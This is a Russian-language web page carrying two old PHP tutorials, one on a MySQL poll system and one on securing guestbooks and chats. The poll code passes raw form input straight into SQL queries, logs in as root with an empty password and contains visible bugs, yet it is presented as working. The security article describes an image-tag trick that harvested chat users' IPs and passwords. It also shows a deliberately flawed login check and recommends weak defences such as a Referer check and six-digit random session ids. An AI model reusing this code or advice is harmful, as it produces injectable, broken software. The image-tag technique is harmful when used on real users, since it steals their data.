Лично мой выбор второй вариант хранения в БД, так как я автор данного способа, и он мне более по душе, но тем кто только начинает осваивать технологии Веб-программирования, я советую почитать про первый вариант при работе с БД. Что ж, теперь можно перейти к практической части, и она начнёться именно с первого варианта при работе с БД. Но я забыл сказать про довольно важную на мой взгляд деталь. Я забыл сказать про защиту от повторного голосования, это мы будем делать во всех голосования при помощи БД, поскольку именно этот способ обеспечивает полную целостность данных, ибо для доступа к БД третьим лицам им нужно будет иметь данные для доступа или взломать БД, что крайне проблематично, поэтому хакерам будет довольно сложно нанести скрипту урон в этой части. А файлы всегда можно удалить, даже если на них будет блокировка “666″, то всё равно они защищены не в полном объёме.

Поэтому я выбрал БД. Посему сейчас вам нужно создать табличку для храния данных о пользователях которые уже проголосовали.

Структура таблички такова:
ТАБЛИЦА `alredy_vote`:
id- BIGINT- AUTO_INCREMENT- PRIMARY KEY
vote_id- BIGINT- NOT NULL- UNIQUED
ip- TEXT- NOT NULL

Название оставляю вам, но скажу что я буду использовать “alredy_voted”. Что ж, а теперь на практику :)
Первый вариант при работе с БД.

Что ж, по моему мнению для тех кто называет себя программистами на “достаточном” уровне хватило бы одного только описания в начале, но во всяком случае я опишу данный способ со всеми частицами. Итак, с начала мы создадим две таблички в вашей базе данных, называйте их как хотите, но в статье я буду использовать названия “pools_answs” (для вариантов ответа) и “pools” (для самих голосований). Их структура сдедующая:
ТАБЛИЦА `pools`:
id- BIGINT- AUTO_INCREMENT- PRIMARY KEY
question- TEXT- NOT NULL
status- ENUM(’on’,'off’)- DEFAULT ‘on’- NOT NULL

ТАБЛИЦА `pools_answs`:
id- BIGINT- AUTO_INCREMENT- PRIMARY KEY
vote_id- BIGINT- NOT NULL- UNIQUED
value- TEXT- NOT NULL

Вот, это структура таблиц для работы нашей системы, я привожу лишь их сруктуру, поскольку если вы даже языка SQL не знаете, то вам делать здесь явно нечего. Итак, первой нашей с вами функцией будет функция для добавления голосований.

Так же хочу упомянуть, что пользователь сам может устанавливать количество вариантов ответа. Конечно есть соблазн использовать DOM модель и любимый нами всеми JS (ведь так ?), но я воздержусь, и воспользуюсь простым и банальным параметром QUERY_STRING и старым, родимым $_GET интерфейсом. Что ж, давайте попытаемся воплотить всё это безобразие на “холсте” :)
<?
$count=isset($_GET[’count’])? $_GET[’count’]:5;
if(!isset($_POST[’add’])){
print”<form action=” method=’post’ name=’addPool’>”;
print”<table width=’300′ height=’50′ align=’center’>”;
print”<tr><td colspan=’2′ style=’text-align:center;’><input
size=’40′ type=’text’ name=’question’
value=’Введите вопрос голосования’ onFocus=’this.select();’></td>
</tr>”;
print”<tr><td style=’text-align:center;’ colspan=’2′><button
onClick=\”top.location=’”.$_SERVER[’PHP_SELF’].”?count=”.($count+1).”‘\”>
Добавить вариант</button></td></tr>”;
for($i=0;$i<$count;$i++){
print”<tr><td>Вариант ответа №”.$i.”:</td><td><input
type=’text’ name=’answs[]’></td></tr>”;
}
print”<tr><Td colspan=’2′ style=’text-align:center;’><input
type=’submit’ name=’add’ value=’Добавить’></td></tr>”;
print”</table>”;
print”</form>”;
}else{
$question=$_POST[’question’];
$answs=$_POST[’answs’];
if(trim($question)==”){
die(”Вы не ввели вопрос !”);
}
$count=0;
for($i=(count($answs)-1);$i>=0;$i–){
if(trim($answs[$i])==”){
$count++;
}
if($count==count($answs) || (count($answs)-$count)<2){
die(’Должно быть как минимум 2 варианта ответа!’);
}
}
$conn_id=@mysql_connect(”localhost”,”root”,”") or die(”Ошибка соединения с
сервером БД !”);
@mysql_select_db(”shockstudio”);
$check=@mysql_query(”SELECT id FROM `pools` WHERE question=’”.$question.”‘”,
$conn_id) or die(”Ошибка запроса к БД !”);
if(@mysql_num_rows($q)!=0){
die(”Голосование с таким вопросом уже существует !”);
}
unset($check);
$q=@mysql_query(”INSERT into `pools` VALUES(”,’”.$question.”‘,’on’)”,$conn_id)
or die(”Ошибка запроса к БД !”);
unset($q);
$q=@mysql_query(”SELECT id FROM `pools` WHERE question=’”.$question.”‘”,$conn_id)
or die(”Ошибка во время запроса к серверу !”);
$row=@mysql_fetch_array($q);
$id=$row[’id’];
unset($q,$row);
for($i=(count($answs)-1);$i>=0;$i–){
if(trim($answs[$i])!=”){
$q=@mysql_query(”INSERT into `pools_answs` VALUES(”,’”.$id.”‘,’”.$answs[$i].”‘,
”)”,$conn_id) or die(”Ошибка запроса к БД !”);
}
}
}
?>

Что ж, это и есть функциональная база для добавления голосования в базу данных. Давайте остановимся на этом и рассмотрим всё детальней.

С самого начала мы получаем количество вариантов ответа, которые нужно вывести для редактирования. Мы объявляем переменную `count`, которая в соответствии от существования переменной `count` в QUERY_STRING будет принимать значение или переменной QUERY_STRING (если такая сущестует) и значение по умолчанию, а именно 5. После этого мы работаем над пользовательским интерфейсом, и при этом создаём интересную кнопочку, которая и служит для добавления варианта ответа. При её нажатии значение переменной `count` помещаеться в строку запроса в броузере, и при этом она увеличиваеться на единицу. Вот как всё просто, прям до ужаса. Далее всё просто, и вот мы перешли к обработке полученных из формы данных.

В начале обработки идёт процесс валидации данных. Мы проверям заполнены ли поля формы, а после этого количество вариантов ответа. Для проверки заполненности полей “ответов”, мы объявляем переменную $count, которая будет каждый раз увеличиваться, если $i-й элемент массива будет не заполнен.

После, если количество незаполненных полей ($count), будет равно общей сумме вариантов ответа, или их разница будет менее 2-х, то будет возбужденно исключение, которое сообщит пользователю о том, что нужно ввести минимум 2 варианта ответов. На этом проверка данных завершаеться, и мы переходим к валидации данных в БД. Сначала нам нужно проверить, не существует ли уже голосования с таким вопросом, и если существует то возбуждаем ошибку. Если всё же нет, то добавляем данные в таблицу.

Следующим шагом будет получение индификатора (id) текущей записи, для добавления вариантов ответа в таблицу. После того как мы получили ID, мы снова делаем перебор, только теперь уже с иной целью. Сейчас мы будем добавлять каждый i-й элемент массива, при условии что он не пустой, в таблицу для ответов, при этом мы так же добавляем и индификатор голосования к которому будет привязан данных ответ. Ну и в случае успеха, выводим сообщение о том, что всё прошло успешно. Как видите, без учёта некоторых моментов, всё довольно легко. Но это только первый кусочек той большой мозаики общей функциональностию. Сейчас мы переходим к следующей части, которая и будет неким тестом предыдущей, а именно воплотим сам механизм голосования через интерфейс сайта. В контексте данного варианта исполнения, это займёт почти несколько строк, так как нам всего-то навсего нужно обновить поле в одной таблице, и занести данные в другую.

Что ж, вот мой вариант исполнения данной задачи:
<?
if(!isset($_POST[’vote’])){
print”<form action=” method=’post’ name=’vote’>”;
print”<table width=’400′ height=’50′ align=’center’>”;
$conn_id=@mysql_connect(”localhost”,”root”,”") or
die(”Ошибка соединения с сервером БД !”);
@mysql_select_db(”db”);
$q=@mysql_query(”SELECT * FROM `pools` WHERE status=’on’”,$conn_id) or
die(”Ошибка запроса к БД !”);
if(@mysql_num_rows($q)==0){
echo”Голосования не найдены !”;
}else{
$id=mt_rand(1,@mysql_num_rows($q));
unset($q);
$q=@mysql_query(”SELECT * FROM `pools` WHERE id=’”.$id.”‘”,$conn_id) or
die(”Ошибка запроса к БД !”);
$row=@mysql_fetch_array($q);
print”<tr><Td colspan=’2′>Q: “.$row[’question’].”</td>
</tr>”;
unset($q);
$vote_check=@mysql_query(”SELECT id FROM `alredy_vote` WHERE ip=’”.
$_SERVER[’REMOTE_ADDR’].”‘”,$conn_id) or die(”Ошибка запроса к БД !”);
$q=@mysql_query(”SELECT id,value FROM `pools_answs` WHERE vote_id=’”.
$id.”‘”,$conn_id) or die(”Ошибка запроса к БД !”);
if(@mysql_num_rows($q)==0){
die(”Вопросы не найдены !”);
}else{
while($row=@mysql_fetch_array($q)){
$row2=@mysql_fetch_array($q2);
if(@mysql_num_rows($vote_check)!=0){
$q2=@mysql_query(”SELECT count FROM `pools_answs` WHERE id=’”.$row[’id’].”‘”,
$conn_id) or die(”Ошибка запроса к БД !”);
print”<tr><td>”.$row[’value’].”</td><td>”.
$row2[’count’].”</td></tr>”;
}else{
print”<tr><td>”.$row[’value’].”</td><td><input
type=’radio’ name=’answer’ value=’”.$row[’id’].”‘></td></tr>”;
print”<input type=’hidden’ name=’id’ value=’”.$id.”‘>”;
print”<tr><td colspan=’2′><input type=’submit’ name=’vote’
value=’Проголосовать’></td></tr>”;
}
}
}
}
print”</table>”;
print”</form>”;
@mysql_close($conn_id);
}else{
$id=$_POST[’id’];
$answer=$_POST[’answer’];
$conn_id=@mysql_connect(”localhost”,”root”,”")
or die(”Ошибка во время запроса к серверу !”);
@mysql_select_db(”db”);
$q=@mysql_query(”SELECT id FROM `aredy_vote` WHERE ip=’”.
$_SERVER[’REMOTE_ADDR’].”‘”,$conn_id)
or die(”Ошибка во время запроса к серверу !”);
if(@mysql_num_rows($q)!=0){
print”Вы уже участвовали в данном голосовании !”;
}else{
$q=@mysql_query(”INSERT into `alredy_vote` VALUES(”,’”.$id.”‘,’”.
$_SERVER[’REMOTE_ADDR’].”‘)”,$conn_id) or die(”Ошибка запроса к БД !”);
unset($q);
$q=@mysql_query(”UPDATE `pools_answs` SER count=count+1 WHERE id=’”.$id.
“‘ AND vote_id=’”.$_POST[’answer’].”‘”,$conn_id) or die(”Ошибка запроса к БД !”);
print”Ваш голос учтён. Спасибо за участие !!”;
}
@mysql_close($conn_id);
}
?>

Я конечно перегнул на счёт нескольких строк, хотя оно в действительсности так и есть, ведь для обновления данных в БД нужно всего-то навсего 2 запроса к БД. Теперь давайте посмотрим на сомнительные места более пристально. Ну, сначала мы получаем все записи из БД, после делаем рандомизацию

(случайную выборку), ну и после получаем данные по “выпавшему” элементу. Но главным в пользовательском интерфейсе являеться именно то, чтобы обеспечить недоступность для пользователя повторной попытки проголосовать. Для этого мы делаем запрос к таблице `aredy_vote`, где мы проверяем наличие записи у которой ip-адрес равен текущему значению $_SERVER[’REMOTE_ADDR’], и если такая действительно найдена, то мы вместо радио-боксов выводим количество голосов, по каждому элементу, и так же убираем кнопочку для отправки данных формы. После вывода пользовательского интерфейса нам необходимо обработать данные поступившие из него. Но что именно нам оттуда понадобиться ?

Нам нужно будет всего-то две переменные, а именно индификатор текущего голосования, и, безусловно, вариант ответа. После этого мы производим запрос к БД, с целью проверки принимал ли данный пользователь участие в голосовании, с той же целью безопастности.

После этой проверки, мы добавляем данные о пользователе в таблицу “проголосовавших”, ну и только после этого мы обновляем данные по голосованию.

И после всех этих манипуляций мы закрываем соединение с БД и благодарим пользователя за участие в нашем голосовании. Вот мы и проделали уже около 40% всей работы над данным проектом, нам ещё осталось три механизма, а какие поговорим дальше. Сейчас я предлагаю вам перейти к следующей ступени разработки проекта, а именно к редактированию уже существующего голосования. Это уже не будет новым для вас. Однако скажу, что при редактировании голосования, мы будем обнулять его результаты.

То есть не обнулять, а удалять все элементы “ответов”, с целью пересоздания, это делаеться с целью повышения практичности и урезания кода. Так как проверка того, существует ли тот или иной ответ, введённый из формы, довольно долгое и скучное занятие, так что я решил поступить именно так.
<?
$count=isset($_GET[’count’])? $_GET[’count’] : 0;
if(!isset($_GET[’eid’]) || !is_numeric($_GET[’eid’]){
die(”Ошибка при проверке QUERY_STRING!”);
}
$_GET[’eid’]=addslashes($_GET[’eid’]);
if(!isset($_POST[’edit’])){
$conn_id=@mysql_connect(”localhost”,”root”,”")
or die(”Ошибка соединения с сервером БД !”);
@mysql_select_db(”shockstudio”);
$q=@mysql_query(”SELECT * FROM `pools` WHERE id=’”.$_GET[’eid’].”‘”,$conn_id)
or die(”Ошибка во время запроса к серверу !”);
if(@mysql_num_rows($q)==0){
die(”Данное голосование не существует!”);
}else{
$row=@mysql_fetch_array($q);
print”<form action=” method=’post’ name=’addPool’>”;
print”<table width=’300′ height=’50′ align=’center’>”;
print”<tr><td colspan=’2′ style=’text-align:center;’><input
size=’40′ type=’text’ name=’question’ value=’”.$row[’question’].”” onFocus=’this.select();’></td></tr>”;
unset($q);
print”<input type=’hidden’ name=’id’ value=’”.$_GET[’eid’].”‘>”;
$q=@mysql_query(”SELECT value FROM `pools_answs` WHERE vote_id=’”.$_GET[’eid’].
“‘”,$conn_id);
$i=0;
while($row=@mysql_fetch_array($q)){
$i++;
print”<tr><td>Вопрос №”.$i.”:</td><td><input
type=’text’ value=’”.$row[’value’].”‘ name=’answs[]’></td></tr>”;
}
if($count!=0){
for($j=1;$j<$count;$j++){
print”<tr><td>Вопрос №”.($j+$i).”:</td><td><input
type=’text’ name=’answs[]’></td></tr>”;
}
}
}
print”<tr><td colspan=’2′><button
onClick=\”top.location.href=’?eid=”.$_GET[’eid’].”&count=”.($count+1).”‘;\”>
Добавить вариант ответа</button></td></tr>”;
print”<tr><Td colspan=’2′ style=’text-align:center;’><input
type=’submit’ name=’edit’ value=’Изменить’></td><tr>”;
print”</table>”;
print”</form>”;
}else{
$question=$_POST[’question’];
$id=$_POST[’id’];
$answs=$_POST[’answs’];
if(trim($question)==”){
die(”Вы не ввели вопрос !”);
}
$count=0;
for($j=(count($answs)-1);$j>=0;$j–){
if(trim($answs[$j])==”){
$count++;
}
if($count==count($answs) || (count($answs)-$count)<2){
die(’Должно быть как минимум 2 варианта ответа’);
}
}
$conn_id=@mysql_connect(”localhost”,”root”,”")
or die(”Ошибка соединения с сервером !”);
@mysql_select_db(”shockstudio”);
$q=mysql_query(”UPDATE `pools` SET question=’”.$question.”‘ WHERE id=’”.$id.
“‘”,$conn_id) or die(”Ошибка запроса к БД !”);
unset($q);
$q=@mysql_query(”DELETE FROM `pools_answs` WHERE vote_id=’”.$id.”‘”)
or die(”Ошибка запроса к БД !”);
for($i=(count($answs)-1);$i>=0;$i–){
$q=@mysql_query(”INSERT into `pools_answs` VALUES(”,’”.$id.”‘,’”.$answs[$i].
“‘,”)”) or die(”Ошибка запроса к БД !”);
}
print”<hr/><a href=’”.$_SERVER[’PHP_SELF’].”?eid=”.$id.
“‘>Назад</a><hr/>”;
}
?>

Что ж, в этом приложении совместились куски всего того, что мы делали в начале статьи. Пользовательский интерфейс данного приложения очень напоминает интерфейс для добавления голосования, однако здесь есть некоторые отличия. Сначала мы получаем данные по переданному индификатору.

Так как для редактирования элемента в скрипт нужно передать его ID в базе данных, по которому будут обрабатываться данные. Но в первую очередь стоит проверить существует ли данное голосование вовсе, так как мало ли что пользователь может вписать в QUERY_STRING, и кстати именно по этой причине мы производим её проверку и экранируем все данные в ней, для предотвращения SQL-инъекций. После всех проверок, мы получаем данные по голосования с индификатором $_GET[’eid’]; Теперь мы подставляем их в текстовые поля формы. Но всё бы и ничего, но ведь в случая с ответами, нам нужно не только подставить значения для редактирования, но и иметь возможность добавлять новые элементы. Потому, мы с начала выводим все элементы, имеющиеся в таблице с ответами, а вне цикла while() мы создаём ещё один цикл, который будет выводить текстовые поля в соостветствии со значением переменной $count. Замечу, что в отличии от скрипта добавления, данная переменная будет иметь значение по умолчанию, равное 0, а не пяти. Всё, с пользовательским интерфейсом разобрались, теперь плавно переходим к процесу обработки данных формы. С начала всё банально, проверяем количество заполненных полей “ответов”, и конечно не оставил ли пользователь пустым поле для текстового значения вопроса. Если всё нормально, то соединяемся с БД.

Первый наш запрос будет по обновлению значения вопроса голосования, это ничего нового для вас не откроет.

После этого, как я говорил раньше, мы удаляем все текущие элементы из таблицы ответов, и снова создаём аналогичный первому цикл, только в этот раз, мы будет добавлять данные в таблицу. Вот видите, я же говорил, что аналогия между скриптом для добавления голосований прослеживаеться ?

Ну, и в случае успеха, мы ставим ссылочку обратно, то есть на некую “главную” страницу, и передаём тот же индификатор голосования, для проверки всё ли прошло успешно и были ли данные занесены в таблицу. Ну, и теперь нам осталось лишь несколько шагов которые и приведут нас к желаемому результату, а именно механизмы блокировки голосования и его восстановления. Что я имею ввиду под “блокировкой” ?

Ну, предположим голосование в активе уже более месяца, и вам хочеться его скрыть, не удаляя, а вдруг опять захочеться его опубликовать ?

Или скажет, ваши администраторы могут сами создавать голосования, но прежде они должны пройти рецензию у вас, и пока вы не разблокируете созданные помошниками голосования они не будут в работоспособном виде. Вот для этого и нужна блокировка и публикация. Далее я не буду рассказывать про механизмы рецензий и прочего, а только о предмете данной статьи, о голосованиях. Сейчас я покажу как воплотить в жизнь данные механизмы.

Это будет производиться как нельзя просто, нам просто нужно будет изменить значение индификатора status, в таблице `pools`. Ведь вы заметили, что при рандомизации и выборке для вывода в пользовательский интерфейс сайта, мы проверяли значение поля status на равенство значению ‘on’.

Принципом же блокировки и публикации будет банальное изменение значения status, посему, если вы считаете что это легко, то я советую вам не читать дальше, поскольку действительно, многие из вас нового здесь ничего не отыщут. Вот механизм блокировки, хочу учесть, что скрипт работает под контекстом того, что ему был передан параметр $_GET[’eid’], который являеться индификатором текущего голосования.
<?
if(!isset($_GET[’eid’]) || !is_numeric($_GET[’eid’])){
die(”Ошибка проверки QUERY_STRING !”);
}
$_GET[’eid’]=addslashes($_GET[’eid’]);
$conn_id=@mysql_connect(”locahost”,”root”,”")
or die(”Ошибка соединения с сервером !”);
@mysql_select_db(’db”);
$q=@mysql_query(”SELECT * FROM `pools` WHERE id=’”.$_GET[’eid’].”‘”,$conn_id)
or die(”Ошибка во время запроса к серверу !”);
if(@mysql_num_rows($q)==0){
die(”Данное голосование не существует !”);
}else{
$q=@mysql_query(”UPDATE `pools` SET status=’off’ WHERE id=’”.$_GET[’eid’].”"”,
$conn_id) or die(”Ошибка во время запроса к серверу !”);
}
@mysql_close($conn_id);
?>

И для публикации.
<?
if(!isset($_GET[’eid’]) || !is_numeric($_GET[’eid’])){
die(”Ошибка проверки QUERY_STRING !”);
}
$conn_id=@mysql_connect(”locahost”,”root”,”")
or die(”Ошибка соединения с сервером !”);
@mysql_select_db(’db”);
$q=@mysql_query(”SELECT * FROM `pools` WHERE id=’”.$_GET[’eid’].”‘”,$conn_id)
or die(”Ошибка во время запроса к серверу !”);
if(@mysql_num_rows($q)==0){
die(”Данное голосование не существует !”);
}else{
$q=@mysql_query(”UPDATE `pools` SET status=’on’ WHERE id=’”.$_GET[’eid’].”"”,
$conn_id) or die(”Ошибка во время запроса к серверу !”);
}
@mysql_close($conn_id);
?>

Всё, на этом я заканчиваю рассмотрение данного механизма голосований, как и этот выпуск данной статьи. Со всеми остальными технологиями мы познакомимся в следующих выпусках, так как для одной статьи это слишком большой объём информации. На этом я с вами прощаюсь.

Если будут какие бы то нибыло вопросы, пишите мне на Ik1990@list.ru

С уважением Карпенко Кирилл, лидер команды разработки и программирования ShockStudio.

Источник http://www.codenet.ru

Tags: php, голосование

Добавить комментарий Март 17, 2008

Приемы безопасного программирования веб-приложений на PHP.

Данная статья не претендует на роль всеобъемлющего руководства на тему “как сделать так, чтоб меня никто не поломал”. Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать “Никогда не верь данным, присылаемым тебе пользователем”. Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:
<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv(”HTTP_REFERER”);
if (!ereg(”^http://www.myserver.com”)) {
echo “hacker? he-he…\n”;
exit;
}
?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:
$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo “invalid username”;
exit;
}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака “_” (подчерк), пробела и цифр:
if (preg_match(”/[^(\w)|(\x7F-\xFF)|(\s)]/”,$username)) {
echo “invalid username”;
exit;
}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки “@” и “.”, иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match(”/[^(\w)|(\@)|(\.)]/”,$usermail)) {
echo “invalid mail”;
exit;
}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: “а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги”. Если сильно неймется - можно сделать некие тегозаменители, типа “текст, окруженный звездочками, будет высвечен bold’ом.”. Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx’ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript’a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm’а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header(”WWW-Authenticate: Basic realm=\”My Realm\”");
Header(”HTTP/1.0 401 Unauthorized”);
exit;
}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.
$sql_statement=”select password from peoples where name=’$PHP_AUTH_USER’”;
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,’password’);
$sql_statement = “select password(’$PHP_AUTH_PW’)”;
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header(”HTTP/1.0 401 Auth Required”);
Header(”WWW-authenticate: basic realm=\”My Realm\”");
exit;
}

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header(”HTTP/1.0 401 Auth Required”);
Header(”WWW-authenticate: basic realm=\”My Realm\”");
exit;
}

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу “hacker? he-he…”.

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.

Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая “сессия”, в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).

Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.

Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.

Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - “hacker? he-he…” :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad’инга - это вполне реально.

Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.

После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:
mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);

Это число он:
заносит в локальный список авторизовавшихся пользователей;
Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid’ом, хранящимся в локальной базе и либо выполняет свою функцию, либо… “hacker? he-he…”.

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid’ов и/или сделать для пользователя кнопку “выход”, при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не “одноразовое” динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является “дурным тоном”, поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

